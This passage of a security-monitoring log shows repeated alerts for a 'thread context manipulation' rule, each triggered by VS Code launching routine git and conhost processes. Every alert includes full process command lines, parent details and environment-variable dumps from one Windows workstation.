Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 101 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.8394205 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" ls-files --stage -- cmd/server/main.go, directory_table_base➜ 429412000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f571cb080, name➜ git.exe, pid➜ 5720, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.8394205 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 103 + Pid: 5928 + Tid: 11040 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.8403692 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 46d65b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57795080, name➜ conhost.exe, pid➜ 18184, ppid➜ 5928, real_ppid➜ 5928, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.8403692 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5928 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" show --textconv :cmd/server/main.go + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" show --textconv :cmd/server/main.go] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 105 + Pid: 5720 + Tid: 16104 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.8517612 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 432111000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5750f080, name➜ conhost.exe, pid➜ 17944, ppid➜ 5720, real_ppid➜ 5720, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.8517612 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5720 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" ls-files --stage -- cmd/server/main.go + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" ls-files --stage -- cmd/server/main.go] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 107 + Pid: 5928 + Tid: 11040 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.8875698 +0100 CET + Params: cmdline➜ git.exe show --textconv :cmd/server/main.go, directory_table_base➜ 7e8e000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57894080, name➜ git.exe, pid➜ 8104, ppid➜ 5928, real_ppid➜ 5928, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.8875698 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5928 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" show --textconv :cmd/server/main.go + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" show --textconv :cmd/server/main.go] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 109 + Pid: 5720 + Tid: 16104 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.8925629 +0100 CET + Params: cmdline➜ git.exe ls-files --stage -- cmd/server/main.go, directory_table_base➜ 5d34f000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f574d4080, name➜ git.exe, pid➜ 16636, ppid➜ 5720, real_ppid➜ 5720, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.8925629 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5720 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" ls-files --stage -- cmd/server/main.go + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" ls-files --stage -- cmd/server/main.go] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 117 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.9413205 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" cat-file -s e7371c7e91a1da7aa7e0467286e1d3d759e701ea, directory_table_base➜ 471520000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f571dd080, name➜ git.exe, pid➜ 16448, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.9413205 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 119 + Pid: 16448 + Tid: 15952 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.9491705 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 439b4b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5764e080, name➜ conhost.exe, pid➜ 2092, ppid➜ 16448, real_ppid➜ 16448, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.9491705 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16448 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" cat-file -s e7371c7e91a1da7aa7e0467286e1d3d759e701ea + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility 